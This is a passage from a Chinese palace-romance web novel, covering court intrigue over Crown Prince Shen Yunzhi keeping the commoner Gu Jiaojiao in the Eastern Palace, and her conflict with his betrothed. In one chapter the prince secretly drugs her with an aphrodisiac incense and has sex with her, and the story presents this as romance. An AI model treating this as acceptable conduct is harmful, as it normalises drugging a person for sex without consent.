她为了对抗沈云祉,到现在为止都没有吃一点东西。 云舒与无意互视一眼,都不由得轻叹了口气。 沈云祉将一个宫外女子带入宫中,还是在朝堂之上掀起风波。 “殿下与赵家已经被圣上赐婚,正妻未过门,便带入宫中一个门第不显的女子,于礼不合。” “殿下本就不是皇上的子嗣,如今得太子之位,更应该注重言行。” “殿下虽为己身,可一举一动都在臣民眼中,若日后百姓也纷纷效仿,岂不是天下大乱。” 大臣们纷纷上奏,言官嘛,无论任何事都与天下挂钩。 沈云祉坐在了朝堂之上,只是听着,但态度却如从前一般无所谓。 “太子殿下此番行事,莫不是不将首辅大人放在眼里?” 这次开口的是平王。 平王近来闲得很,也很少上朝,今日出现,朝堂便乱了起来,他更是另辟新径,直言挑拨沈云祉与赵家的关系。 沈云祉抬了抬眼帘,唇角袭上一抹冷笑。 “平王叔向来看我不顺眼,却也不至于拿到朝堂上来说。” “殿下多心了,本王乃是皇室,清除污秽也是本王的职责所在,殿下若是行得正,坐得端,自也不会被人挑错。” 平王得意,他也许久没有逮着机会,能如此高傲的站在沈云祉面前了。 “所以啊,本殿下不懂,一个女子便让诸位大臣如此紧张,到底是本殿下做了什么出格的事,还是影响了政务?” 他站起身,也走到一直未开口的首辅面前。 “首辅大人觉得呢?” 首辅自上了朝便一直没有说什么,自也是想借着这些大臣的嘴,解他燃眉之急,可也不曾想,沈云祉会直接来问他。 “不曾。” 首辅丢出这两个字,这也是事实。 沈云祉从未因顾皎皎的出现而耽误了政务,更未影响他的任何决策。 “没错,不曾,那本殿下就好奇了,诸位大臣揪着此事不放,意欲何为啊?” 他意味深长的看了首辅一眼,而后瞟向下面的那些大臣。 “殿下,就算未出大事,但毕竟于礼不合。” “本殿下要收个妾室,何来的于礼不合?” “可那女子……那女子身份……” “我未曾想让她任正位,不曾让她得诏命,只是一个本殿下看上的女子而已,就足以让你们在这里争论一个早晨吗?” 沈云祉的声音都冷了几分,致使那些大臣不敢多言。 平王却在此时站了出来,这样好的机会,他定然是不会错过,也不会让沈云祉凭几句话就能脱身。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百九十章 这样还不够吗 “太子殿下这便是混淆视听了,这古往今来,因红颜祸水覆灭王朝的事可是只多不少,何况太子殿下带回来的那位女子可不是省油的灯。” 平王面露嘲讽,转头看向各位大臣。 “妖妃杨贵妃,武氏吕后一流,最初可都只是无名小卒,最后却引起无数祸乱。” 他在提醒那些大臣,就是这些女子,令朝堂覆灭。 刚刚无言以对的那些大臣,也再次开始拿顾皎皎之事说事。 如此大的动静,顾皎皎的身世以及过往早就被人查了一个遍,在这朝堂之上,又是身份,又是人品,开始轮番对顾皎皎进行攻击。 他们的目的很简单,就是不许顾皎皎再靠近沈云祉一步。 而此时,听着这些的沈云祉已然没有了耐心。 “好,说到贤良,平王叔,近来平王妃可好?” 一个问题,令在场的人都将疑惑的目光投向平王。 刚刚还一脸得意的平王,一下脸色就变得难看了许多。 他不禁咬了咬牙,看向沈云祉的目光也透着仇恨。 平王妃是因何被罚出府,前往了云澜寺,别人不知道,但沈云祉与平王却一清二楚。 沈云祉眼底闪过一抹狡黠。 “居心叵测之人,看的不是出身,地位,过往,考验的永远是人性,有的人身居高位,荣耀万丈,也不能保证他就不会行龌龊之事。” 沈云祉这话,可谓是一箭双雕。 一来是提醒平王,暗杀太子乃是死罪,就算推出平王妃,只要有人计较,便是谁也逃不掉。 另一层,提醒的便是首辅。 首辅是只老狐狸,无论是朝堂之上,还是背后传言的散播,首辅都参与其中,但他从未表露出半分,一直保持着坐山观虎斗的状态。 “首辅大人,您觉得本宫说的可对?” 沈云祉笑的玩味,眉目深邃,让人猜不透他的真实想法。 首辅的孙女派人绑架顾皎皎,甚至还发出了龌龊的命令,只这一点,首辅便推脱不了。 “太子殿下所言极是。” 首辅认真的开口,一个多余的字都没有。 堂下大臣面面相觑,谁也没有再说什么,至于那平王,把柄握在别人手里,他自然是不会冒险。 “既如此,想来诸位爱卿也无他事可奏,退朝。” 沈云祉大步离去,身上的威严与傲气显而易见。 此时的众大臣都不知道,如今的沈云祉已然不是初立太子时的模样。 沈云祉回到东宫,在东宫门口遇到了云南王。 云南王乃是蕃王,现在偏偏成为了太子生父,为避免说他干政,他少来东宫,但每次出现都定是大事。 “父王这是来兴师问罪的?” 沈云祉半开着玩笑,与云南王一起走进东宫,前往书房。 “此事闹得沸沸扬扬,外面什么传言都有,你还有心情开玩笑。” 云南王颇为郑重。 就连首辅都亲自找过他,可见事情的严重性。 沈云祉命人上了茶,也收起脸上的笑。 “父王也不必前来相劝,那个女子我留定了,首辅找您无非是担心他孙女的太子妃之位,您也可以告诉他,那个位置不会动摇。” 他少有的郑重,却让云南王更为担心。 沈云祉自幼在云南边境长大,心悦他的女子,与他一同长大的女子都不在少数,但他对所有人都是淡淡的,能让他如此的,也只有一个顾皎皎罢了。 “你若只是一时欣喜,不曾将那女子放在心上,我也便能不管此事,但你竟入了心,那此女子就必须离开东宫。” 云南王说这话不是在跟沈云祉商量,而是已经确定了。 沈云祉眉头紧锁,看向云南王的目光也显得不可思议。 “父王也觉得我会因私情而耽误政事?” “这与政事无关,人总是心有偏颇,你既然喜欢她,那日后便会事事都偏向她,抛开朝政不谈,日后赵家姑娘入了宫,她该如何自处?又该如何以太子妃这尊御下?” 现如今,沈云祉偏爱顾皎皎之事,已然传遍整个皇宫,宫中之人最是会见风使舵的,太子妃还未入宫就不得太子欢心,日后岂不是会被所有人嘲笑。 “即使是赵家姑娘不在意,那首辅还能任由这种事发酵吗?” 云南王又补了一句,也是提醒沈云祉小心行事。 可这些,都不能让沈云祉动摇分毫。 “我给了赵蕴苎太子妃的位置,日后皇后的位置也是她的,自是可保整个赵家荣华富贵,可若是她连我一个妾室都无法接受,如此没有容人之度,也难担太子妃之任。” “可现在正室还未入宫,你就……” “父王,我坐上这个位置,便没想过为自己而活,唯一想要的也不过是一个顾皎皎而已,您是了解我的为人的,日后就算太子妃入宫,我也可保证除了顾皎皎不再有其他女子,这样还不够吗?” 沈云祉少有的如此凝重的与云南王争论。 是非对错,他全然不在乎,他所坚持的依旧只是留下顾皎皎。 可是,听到这话的云南王更是被吓到了。 沈云祉是储君,未来的君王,皇室重视血脉子嗣,开枝散叶也是身为君王的责任,可是他竟为了顾皎皎,不惜说出再无其他女子的话来。 云南王没有再说什么,叹着气无奈的离开了东宫。 “安排两个人,盯着那个顾皎皎。” 云南王对属下低声说道。 “王爷,殿下不是说……” “不用管他说什么,必须让顾皎皎远离他。” 云南王做出这样的决定,是因为听到沈云祉的最后一句话,他这个儿子,若只是个普通王爷,遇见心悦之人,许一世承诺,云南王自也是高兴的。 可他是太子,他有了这样的想法,便不可取。 “是,属下这便去办。” 下属应下。 而此时,身处东宫寝殿的顾皎皎,对外界的情况一无所知。 沈云祉已经下令,任何不好的消息都不能传入她的耳中,就算是无意与云舒与顾皎皎关系好,也不敢多透露半个字。 “姑娘,吃些东西吧,已经两天了,再不吃身体也受不了了。” 无意站在床榻边轻声劝说道。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百九十一章 卑鄙 “我是不会吃的,沈云祉不放我出去,我便饿死在这里。” 顾皎皎说着时,闻到了一股异香,香气幽微,倒是好闻。 她侧身,看着云舒刚刚点燃一个香炉。 “什么香?” “回姑娘,是殿下刚刚命人送来的,奴婢不知是什么香。” 云舒答道。 顾皎皎好奇,起身过来查看。 那个盒子里的香料不多,但极为好闻,云舒只放在香炉一点,屋子里便充满香气。 “藿香,蛇床子,提炼过的桅子香,还有一味什么?” 顾皎皎低声说着。 “姑娘好灵的鼻子,竟可闻出这么多味道。” 无意站在一旁,敬佩的不得了。 顾皎皎则摇了摇头。 “我并擅长制香,也只能闻出这些,这其中定还有其他,分辨不出,不过有桅子香便已极为难得。” “是啊,香炉燃起,竟有种置身花海的感觉,太子殿下对姑娘真是用心。” 云舒无时无刻都在说着她家殿下的好处。 这两日来,顾皎皎已经习惯了,轻叹了口气,便再次走到床榻边。 她不说话,自也是表明自己的态度,就算沈云祉送来金山银山,她也不会动摇的。 正在此时,外面有公公尖锐的声音响起。 “太子殿下到。” 云舒与无意立即简单的整理了一下,才走到门口迎接。 “参加太子殿下。” 二人异口同声的说道。 沈云祉只是摆了摆手,径直向里面走去。 “都下去吧,殿下与顾姑娘有话要说。” 王福站在门边,将屋子里的下人全都打发了出去,房门也被关上。 顾皎皎就坐在床榻边,眼睁睁的看着沈云祉进来,她甚至都未起身。 “民女身体不适,无法行礼,望太子殿下见谅。” 她阴阳怪气,明显就是故意的。 沈云祉只是挑了挑眉毛,笑意渐浓,丝毫不介意。 他坐在她对面,看着她,目光未移动一分。 “听闻你到现在都不肯吃东西,你要知道,你这般行事,亏的可是你自己的身子。” 在他的脸上看不出一丝关心,倒给人一种看热闹的感觉。 顾皎皎眉头微皱,别过头去不再看他。 “殿下想留下民女,民女无力逃脱,给殿下留具尸体也是好的。” 她故意这样说。 沈云祉也不恼,抬手轻触她的脸颊。 “我啊,什么都能接受。” 他这副无赖的态度,让顾皎皎又气又恼。 “民女要休息了,殿下请离开吧。” 说完,她便直接向床榻里面挪了挪。 沈云祉眼中闪过狡黠的光芒,顾皎皎却并没有看到。 她不看他,也未听到他说话,但却听到了身后窸窸窣窣的的声音。 顾皎皎有些奇怪,转身之时,却看到沈云祉正在褪去外袍。 她瞪大眼睛,猛的坐起身,差点从床榻之上弹跳起来。 “沈云祉,你,你做什么?” “今日乏累,在你这里休息一下。” 他答的理所应当。 “什么?什么叫在我这里?你,你别脱了。” 顾皎皎一时手足无措,不知自己该不该上前阻止。 沈云祉却并不理会她,继续一件件的脱着自己的衣衫。 “光天化日,孤男寡女,你这样,这样我可就喊人了。” 顾皎皎已经缩到了角落里,意图用这样的方式让沈云祉停下来。 “喊吧,这门外全是东宫的人,他们听到,过后也只会恭喜你。” 此时,沈云祉的身上也只剩下了雪白的里衣。 顾皎皎忘记了,这里都是沈云祉的人,她若是喊了,怕也只会让自己更难堪。 “沈云祉,你别得寸进尺,我的忍耐是有限度的,还有,我,我还有伤在身呢。” 顾皎皎一向聪慧,但此时确实已经将能找的理由都找了。 沈云祉只是看了她一眼,而后便躺在了床榻靠边的位置。 他侧着身,一只手臂拄着脑袋,脸上是坏坏的笑。 “我不会做什么的,只是躺在这里,但你会不会做什么,我就不知道了。” 他明显话里有话。 顾皎皎躲在床榻的角落里,看着眼前这个男子,猜不透他的心思,但他那双漆黑的眸子总是会让她沦陷。 他的目光里有温柔,有炙热,也是一眼望不到底的幽深。 他似是有魔力一般,让顾皎皎开始心跳加速,甚至感觉脸颊都在发烫。 就那么一瞬间,顾皎皎似乎意识到了什么。 她抬起头,看着不远桌边正在燃着的香炉。 “沈云祉,你竟然给我下药?” 她感觉全身燥热,可是她不懂,为何别人没事,偏偏只她中了那让人意乱情迷的香料。 “你今日的枕头里,放了一些依兰花瓣,与那香料里的一味香相冲。” 沈云祉似是看出她的想法,直接将她的疑惑解开。 顾皎皎看着自己的枕头,此时正被沈云祉压在手臂之下。 “卑鄙。” 她咬着牙,可身体的反应与变化是骗不了人的。 现下这间屋子里只有他们二人,当药效发挥到极致时,她怕是也只能拿沈云祉当解药了。 不,不可以。 顾皎皎要逃跑,她从床榻之上爬起准备下床,可是在经过沈云祉时,她身体一软,便直直的倒在她的怀中。 沈云祉温热的体温传来,使顾皎皎越来越无法压制住体内的燥热。 “这可是你自己扑过来的,我什么都没有做。” 沈云祉说话时,手掌抚上她的后背,唇边的笑意愈发明显。 “你,你这是趁人之危,非君子所为。” 顾皎皎就在他的身上,说着这样的话,却无力起身。 沈云祉喉结滚动,能清晰的看到她眼中的情欲,他直接翻身而上,将这个娇艳的美人压在身下。 “牡丹花下死,做鬼也风流,我自不愿当什么君子。” 他的唇缓缓落下,一股温热传至唇间,顾皎皎想要躲开,可又期盼着。 “沈云祉。” 她轻唤他的名字,只这三个字,便让他再也无法控制自己的情绪。 他的吻热烈,他的手在她的身体上游走。 顾皎皎身体上的衣衫在他的手中一件件褪去,直至露出雪白的肌肤。 那迷情香太过厉害,顾皎皎已然没有了反抗的意思,甚至开始迎合他。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百九十二章 莫要吵到他 东宫的寝殿里,喘息声不断,满屋子的春色,皆是情之所至。 顾皎皎的心理防线早就崩塌,她沉溺于沈云祉带给她的一切感受,她会轻唤他的名字,会在他的身体上留下印迹。 不知过了多久,殿内安静下来。 顾皎皎缩在沈云祉的怀中,感受着他的怀抱与温度。 她给了自己这次放纵的机会,不推开他,只享受这片刻的温柔。 “身上的疤痕倒是都好了。” 沈云祉的手指轻轻划过她的后背。 曾经那些触目惊心的伤痕甚至在他梦里不停浮现,如今那雪白的肌肤上,已然没有半分印迹。 “是洪爷爷的功劳。” 顾皎皎轻闭着双眼,声音也极轻。 她有些累,枕着他的手臂,便觉得少有的安心。 “我倒是忘了,你身边有洪甫先生这样的神医。” 沈云祉看着她,脸上的红晕还未散去,长长的睫毛抖动,如画中出来的仙子一般。 “所以,你愿意留下来了吗?” 他还是忍不住再次开口询问。 顾皎皎迷迷糊糊间,还是摇了摇头。 “不要为难我了。” 她的声音很低,而后沉沉睡去。 她并不知道,沈云祉拥着她的手臂又不自觉的紧了几分。 他不想放开她,也不想让她再承受那些苦痛。 正在此时,王福的身影在帷帐外出现。 “说。” 沈云祉声音低沉,也像是怕吵醒了身边的人。 “杜玉荣大人来了,说是有要事求见。” 王福也懂事的压低了声音。 沈云祉扬了扬嘴角,低眉看向怀中的人,她累极了,也困极了,丝毫没有听到外面人的话。 “让他在外间等候。” 他眼底有冷冽闪过,但又立即被一抹狡黠取代。 王福应下,转身走了出去。 杜玉荣原在东宫,由宫人带着来到了太子的寝宫。 他自是意外的,不管是何缘由,他到底是外臣,如此踏入太子寝宫,终究是不合规矩。 “杜大人稍候,殿下正在里面更衣。” 王福命人上了茶。 “多谢公公。” 杜玉荣满心疑惑,却也并未询问什么。 “玉荣来了。” 沈云祉的声音从内室响起,随即人才走出来。 杜玉荣看到沈云祉还是怔了怔。 此时,沈云祉穿着白色的里衣,肩膀上也只披了一件外衫,他的头发绑在脑后,但却可以看出微微凌乱。 他阔步而来,走近之时,他脖颈处的红痕也异常明显。 “参见太子殿下,臣扰了殿下休息,还望殿下恕罪。” 杜玉荣有种不好的预感,压抑着心底不好的想法。 “无妨,赐坐。” 沈云祉坐了下来,扯了扯身上披着的外衫,才看向杜玉荣。 “这么着急过来,可是有何要事?” 他是明知故问。 自上次二人争吵过后,他们便再无往来,沈云祉倒没再打压杜家,但也明显与杜玉荣拉开了距离。 “微臣前来,是为了顾姑娘一事。” 他停顿了一下,迎上沈云祉的目光。 “想来顾姑娘的伤已经好多了,殿下应该送她回去了,免得有更多的闲言碎语出现。” 沈云祉因他的话笑出声,倚靠在椅子上,眉眼间显露出一抹淡淡的嘲讽之意。 “玉荣说此话,是为了民意,还是出于私心呢?” 他拆穿杜玉荣的想法。 杜玉荣也不隐瞒。 “殿下即将成亲,何必又如此关着顾皎皎呢,殿下既然无法给她想要的,就该放手才是。” 这样的话,倒是跟顾皎皎的想法如出一辙。 沈云祉端起茶,抬眼挑挑眉毛,眼中的笑意更浓。 “我欲做什么事,自有决断,你说这些已经越过了你的本职,我也不曾听过,有哪个官员跑到东宫来抢人的。” “微臣没有那些龌龊的想法,是因为微臣知道的顾姑娘的心思,她不愿为妾室,殿下既心爱于她,便更不该逼迫。” “你倒是她肚子里的蛔虫,可那又怎样的?我不放她,谁又能拿我怎么办?” 沈云祉从来都是听不得这些大道理的。 杜玉荣一时语塞,半晌才缓缓开口。 “太子是储君,一言一行皆为天下臣民表率……” “杜玉荣,你也要明白,正因为我是未来储君,所以才可以做自己想做的事。” 沈云祉打断了杜玉荣的话。 也正是因为这句话,让杜玉荣无法控制内心的情绪。 他猛然起身,声调也不自觉的提高了不少。 “殿下就丝毫不顾及顾姑娘的感受与想法吗?” 嘘。 沈云祉伸出一根手指放在自己的唇边,而后指了指身后的内室。 “皎皎正在睡着,莫要吵到她。” 沈云祉是阴狠的,他深知什么样的事会刺痛杜玉荣。 杜玉荣望着那间内室,那里面极其安静,他心底压抑着的不好的预感,还是成真了。 他的拳头在身侧紧握,难过与心痛都涌入心头,到此刻,他已然不知道该怪谁了。 “还请殿下考虑臣的建议,臣先告退了。” 杜玉荣不记得自己是怎样离开东宫的,只是觉得那宫墙深深,锁住了他心底最爱的人。 而此时,沈云祉的眸子里已经满是冰冷。 他不喜欢别人来教他做事,更不喜欢有人争抢想要的人。 对,仅限于人。 顾皎皎醒来的时候,天色已暗。 对于她睡着时发生的一切,她全然不知,而东宫里的宫人,也不曾提及半分。 “姑娘醒了?可要用些膳食?” 云舒站在床榻边,一直候着,开口询问时,也难掩眼中的开心。 顾皎皎扯了扯被子,盖住自己一丝不挂的身体,随后让云舒给她衣衫。 “沈云祉呢?” 她开口询问。 床榻边已然无人,她还要再跟沈云祉谈一谈。 “殿下去皇上寝宫了,晚间怕是不会过来了。” 云舒答着,也服侍着顾皎皎将衣衫穿好。 顾皎皎觉得沈云祉是故意的,她记得在睡着前,明明跟他说过想要离开皇宫的事。 “姑娘,晚膳已经准备好了。” 云舒再次开口,但顾皎皎则摆了摆手。 “他不肯放我离开,我就不吃。” 顾皎皎走出内室,望着外面。 院子里灯火通明,倒不会让人觉得太过绝望。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百九十三章 因祸得福 翌日。 赵蕴苎入宫了。 与之前一样,她带了自己亲手做的糕点,甚至还为沈云祉绣了香囊。 沈云祉未在东宫,赵蕴苎便来到了顾皎皎面前。 如今,恐怕是整个天下都知道顾皎皎被沈云祉留在东宫。 “太子的寝宫,就算日后我以太子妃的身份嫁进皇宫,也不可能日日住在这里,顾姑娘好福气啊。” 这是赵蕴苎第一次踏入沈云祉的寝殿,她缓缓踱步,看着这殿中的器物,偶遇新奇物件,她还会抬手抚摸一下。 可她乃是首辅的孙女,什么样的好东西没有见过,只看着这些时,她的眉眼间也满是不屑。 顾皎皎一直站在一侧,她的身后站着无意与云舒两位侍女。 她不知道赵蕴苎来见她的目的,却知道,赵家千金进宫不是来见沈云祉的,而就是奔她而来。 “赵姑娘言重了,若不是拜赵姑娘所赐,我也不曾有这样的福气。” 顾皎皎神色淡然,所说出来的话,也显得云淡风轻。 可她从未忘过自己所受的痛楚,这个账,她早晚是要算的。 “顾姑娘何必如此小气呢?我承认是我命人绑的你,不过,你能让太子殿下不惜一切代价杀了我的人,又得以入宫,这可是别人求都求不来的,说起来,你也是因祸得福了。” 赵蕴苎的高傲与鄙夷都写在脸上。 她傲慢,是因为她从不在意顾皎皎得到的这一切,鄙视是因为以顾皎皎的身份,能得到现有的一切,着实是天赐的福气。 顾皎皎还是心里一紧。 沈云祉为了她去首辅府报仇,她从不知晓,也是她绝没有想到的。 她没有表现出意思,只是扬了扬嘴角。 “我希望有机会,也可以将这样的福气转过赵姑娘。” 赵蕴苎自然明白她是什么意思,却丝毫不放在心上。 “你我身份悬殊,你能奈我何?不过是说说罢了,我这人向来大度,不跟你一般见识。” 她得意的坐下来,环顾了四周。 “殿下终是疼你的,你看你这屋子,布置的极好,就如那些花草,殿下本是不喜欢那些东西的,现下那花开的那样盛,想来也是为你准备的。” 窗边的那盆牡丹,确实是沈云祉专门命人摆在这里的,冬季花草本就稀少,这株牡丹还是匠人们培育了好久的呢。 顾皎皎看了一眼那牡丹,才看向赵蕴苎。 “赵姑娘乃是未来太子妃,不觉得跟我说这些,有些不合适吗?” 到现在为止,她都不知道赵蕴苎来此的目的。 赵蕴苎的想法也确实出乎于她的意料。 “有什么不合适的?我并非是善妒之人,日后等我嫁过来,我们便是姐妹,一同服侍殿下,自然是不分彼此。” 她笑的妖娆,好像此事已经定了一般。 顾皎皎不禁皱了皱眉。 “赵姑娘是在说笑吗?” “自然不是,其实我今日来,就是为了跟你讲和的,殿下既对你有意,我也不会阻拦,日后就算你得宠爱多一些,我也不会生气,我们和平相处,如何?” 听着这话,顾皎皎倒是反应了好一会儿。 这天下竟真的有女子,愿意与别人共同分享自己夫君的爱吗? 不,赵蕴苎不是大度,而是她对沈云祉根本无心。 顾皎皎也在此时想通了赵蕴苎的意图。 “赵姑娘若真是不善妒,为何会命人绑了我,并欲毁了我呢?” 她穿了赵蕴苎的心思,缓缓坐下,继续说了下去。 “你示好,是为了留我在皇宫,这样,就可以断了我与杜大人的联系,是吗?” 赵蕴苎脸色骤变。 “顾皎皎,你没资格提他,你这等下贱的女子,有男子愿意娶你已然是万幸了,你竟还想妄图正妻之位?就算是普通百姓家也不愿要你,你还想攀附荣哥哥云端般的人物吗?” 她急了。 杜玉荣所做的一切,她都知晓,怕是这外面的人也都知道,杜玉荣爱慕顾皎皎,甚至大家也都知道,顾皎皎从未同意。 可即使是这样,赵蕴苎还是将所有的罪责都推到了顾皎皎的头上。 听着如此污辱之言,顾皎皎不怒反笑。 “赵姑娘似是在讲笑话一样,你已经有了太子妃的名分,现在争风吃醋,却不是为了太子,而是为了其他男子,如此算来,姑娘又比我高贵多少?” “顾皎皎,你莫要得寸进尺。” “赵蕴苎,我之前就跟你说过,我不是什么任人欺凌之辈,你最好不要招惹我。” 二人针锋相对,丝毫不肯退让。 身后的云舒与无意互视一眼,担忧引起什么乱子。 云舒思索再三,才上前一步。 “赵姑娘,顾姑娘服药的时间到了,您看……” 啪。 云舒的话还未说完,一记耳光便甩到了她的脸上,声音清脆,力道之大,云舒的半边脸立即红肿起来。 “贱婢,主子说话,哪有你插嘴的道理?” 赵蕴苎将怒火发到了这个侍女身上。 她的动作之快,令在场的人包括顾皎皎在内都没有反应过来。 “是,奴婢知罪。” 云舒在宫中久了,这样的巴掌她也不会放在心上,她只是想帮顾皎皎解围。 “赵蕴苎,向她道歉。” 顾皎皎也在此时站起身,她何尝不知道,云舒这丫头是替她挨了这一巴掌。 赵蕴苎冷笑出声,上下打量了顾皎皎一番,才嘲讽般的出口。 “你算什么东西?也敢让我向一个下人道歉?果然物以类聚,自身难保,竟还护着一个下贱之物,顾皎皎,你……” 啪! 赵蕴苎的话还没有说完,就被迫停了下来。 刚刚云舒是如何挨的这巴掌,现下,赵蕴苎就被同样对待。 顾皎皎掌手都火辣辣的疼着,可见赵蕴苎脸上的那五个手指印有多明显。 赵蕴苎转过头,感觉到了口中的血腥气,更是不可思议的瞪着顾皎皎。 “贱人,你竟然敢打我?我跟你拼了。” 说着,她便朝顾皎皎扑了过来,无意与云舒两个侍女将顾皎皎挡在身后,做好了被赵蕴苎打的准备。 正在此时,一道凌厉的声音从门外响起。 “住手。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百九十四章 一片心意 沈云祉在门外听了许久。 他不在意赵蕴苎来此的目的,更不在意她的想法,但却在意顾皎皎所说的话。 他踏进殿内,看着眼前的几人,面色阴沉。 “臣女见过太子殿下。” 赵蕴苎红红肿着脸,还是礼数周全的行了礼。 只这一点上,她就比顾皎皎做的好。 顾皎皎侧了侧身,坐到了原来的位置上,她迎着沈云祉阴冷的目光,脸上没有丝毫情绪的变化。 她是故意的。 她要让沈云祉知道,即使将她留在皇宫中,她也不可能做一个逆来顺受的宠妃。 “你们在闹什么?” 沈云祉冷声开口,也从顾皎皎身上移开目光,看向赵蕴苎。 “你怎么在这里?” “回殿下,臣女送些亲手做的糕点,又听闻殿下爱慕顾姑娘,便与她闲聊几句。” 赵蕴苎答的妥帖,却也将自己被打的半边脸显露出来,让沈云祉看的清楚。 “你脸怎么了?” 沈云祉是特意问的,他无法装作视而不见,毕竟,赵蕴苎出宫,会有很多人看到。 “臣女想劝说顾姑娘留于宫中,但……” 她没有再说下去,却装出委屈的模样看了一眼顾皎皎,而后又继续说道。 “是臣女不好,并不知晓顾姑娘是有自己的想法,她不愿为妾室,想来更喜欢正室的位置,只是臣女的身后有家族,实不敢自作主张将太子妃之位让出。” 赵蕴苎几句可怜兮兮的话便说中了要害,那句‘正室’更是让沈云祉的目光又阴冷了几分。 眼见着沈云祉要动怒,云舒立即上前跪了下来。 “太子殿下明鉴,顾姑娘并非此意,都是奴婢的错,是奴婢说错话,得赵姑娘教训,顾姑娘为护奴婢才动了手,奴婢该死,还请殿下赐罪。” “你是宫中老人了,做事竟如此不当心,出去跪两个时辰,以示警戒。” “是,多谢殿下。” 云舒起身便出去了。 “沈云祉,此事与云舒无关,你何必迁怒于他人?” 顾皎皎死死的盯着他。 他甚至没有问及事情的缘由,便直接发落了云舒,这足以让顾皎皎生气。 “顾姑娘怎可直呼殿下名讳?就算你对殿下不满,也该懂礼仪。” 赵蕴苎声音婉转,一副端庄知礼的模样,转而又看向沈云祉。 “殿下莫怪臣女多言,殿下爱慕顾姑娘,宠些也无妨,可若是被外面的人听到,怕是又有大臣要上奏了。” 赵蕴苎是带着目的挑拨的,让人挑不出错处。 “殿下恕罪,顾姑娘到底是生长在宫外,对宫中礼仪并不熟悉,奴婢日后定会教姑娘,还请殿下饶了姑娘这一次吧。” 无意也跪了下来。 短短几日的功夫,这两名侍女都如此维护顾皎皎,也可见她人品极佳。 “东宫乃是储君的居所,这里侍奉的人也该是最懂规矩,这一个两个下人,都敢在主子说话时随意插嘴,殿下,是该好好整治整治了。” 赵蕴苎斜睨了顾皎皎一眼,说出来的话也是阴阳怪气。 “顾皎皎无礼犯上,罚跪于殿外一个时辰,身边的侍女不知礼数,同跪。” 沈云祉下达了命令。 他看着顾皎皎,她的脸上没有愤怒,没有难过,依旧是那副云淡风轻的模样。 “殿下不可啊,顾姑娘已经两日未进水米,天气寒冷,一个时辰太久了,恐姑娘会伤了身子,奴婢愿为姑娘代罚。” 无意急了,一个接一个的头磕在地上,很快客间便一片红肿。 沈云祉未说话,冷冷的看着顾皎皎。 他想要顾皎皎的一个态度。 顾皎皎俯身下来,将地上的无意拉起。 “多谢殿下赏赐。” 顾皎皎说的轻描淡写,而后从沈云祉的身边走过,向殿外走去。 今日这情景,明眼人一眼便可看出是赵蕴苎挑拨离间,沈云祉何等聪明,怎会发现不了?可他还是不分青红皂白的处置了一屋子的人。 无论是与大计而言,还是私情上,沈云祉都在护着赵蕴苎。 至少,顾皎皎是这样想的。 “都已经按照赵姑娘的意思处置了,姑娘可还有不满?” 这屋子已然空荡了不少,沈云祉才冷眼看向赵蕴苎。 赵蕴苎笑的温婉。 “殿下哪里话?这东宫是殿下的,臣女只是多句嘴,是赏是罚还不是由殿下说了算?” “既如此,我命人送赵姑娘出宫。” “稍等,这是臣女亲手所制,特献与殿下,臣女为殿下戴上吧。” 赵蕴苎拿出了那支香囊,上好的丝绸面料,上面绣着精致的鸳鸯图案,淡淡的香味传出,这香囊从里到外都是用了心的。 赵蕴苎微低着身子,小心翼翼的将香囊挂于沈云祉的腰间。 “听别人说,鸳鸯用来表达女儿家的心思是极好的,臣女也望殿下知晓臣女一片心意。” 她说这话几分真几分假只有她自己清楚。 沈云祉双手背在身后,挑起唇角。 “这是自然。” 他这话里,可是不含一丝感情的。 随后,沈云祉送赵蕴苎离开寝宫,在院子里看到了跪在那里的主仆三人。 冬季寒冷,石板坚硬,顾皎皎却跪的笔直,寒气从膝盖处传来,她也不曾动摇半分。 “殿下留步吧。” 就在院中,在顾皎皎的面前,赵蕴苎停下脚步,满目柔情的看着沈云祉。 “殿下一定要将臣女所做的香囊好好戴着,是臣女的一片心意呢。” 随着她的话音落下,顾皎皎还是不自觉的抬头看向沈云祉的腰间。 之前常常听闻,赵蕴苎有京都第一才女之称,琴棋书画,女红烹饪样样精通,如今看来确实如此。 那香囊极为精致,绣工也很好,尤其是那对鸳鸯,会格外刺眼。 “臣女告退。” 赵蕴苎离开时还特意看了顾皎皎一眼,眉眼间的得意与挑衅那般明显。 顾皎皎收回目光,心里的滋味不好受,她也强忍着。 在赵蕴苎离开后,沈云祉缓步到顾皎皎面前。 他高高在上,俯视着跪着地上的她,眼中依旧是一片冰冷。 “你可知错?” 他的声音依旧好听,却让人觉得冰冷。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百九十五章 这便是罪 “民女何错之有?” 顾皎皎从那枚香囊处收回视线,低垂下眼眸。 她的声音极具平静。 “以下犯上,这便是罪。” 沈云祉从不认为她有罪,但听到她谈及杜玉荣,他心底便埋下了一口气,这口气上不去下不来,让他将怒火发泄在了此刻。 “民女本就不属于这里,在民女的生活里,只有对错公平,不曾有‘犯上’这样的话。” 顾皎皎抬起头,迎向沈云祉凌厉的目光,又继续说了下去。 “殿下要么杀了民女给你的太子妃赔罪,要么放民女出宫,永不相见,免得扰了殿下清静。” 永不相见。 只这四个字,就足以让沈云祉发疯了。 她可以如此狠心的说出这种话,根本就是完全不将他放在心上。 一边王福看出沈云祉的目光又阴冷了几分,立即上前一步。 “顾姑娘,您就服个软吧,殿下听闻赵家姑娘来了,怕您受委屈,忙赶了过来,就连皇上都在追问呢,您就别说反话了。” 是这样吗? 他是马不停蹄的赶来,可是赶来做什么呢? 他赶来是为了给赵蕴苎出气,是为了收下赵蕴苎的香囊,是为了告诉所有人,即使他不喜赵蕴苎却也依旧给她将众人踩下的权利。 如果这便是在意,那顾皎皎宁愿不要。 “公公言重了,民女身份低微,担不起太子殿下如此相待。” 顾皎皎别开目光,没有让对面的人看到她红了的眼眶。 “姑娘,莫说气话。” 一旁的云舒,小声的提醒着,而后又似是想到了什么,立即向沈云祉磕了个头。 “太子殿下开恩,姑娘身子孱弱,伤势未愈,又两日没有吃东西,实在是撑不住这样的处罚,不如殿下罚些别的什么,奴婢们都愿陪同。” 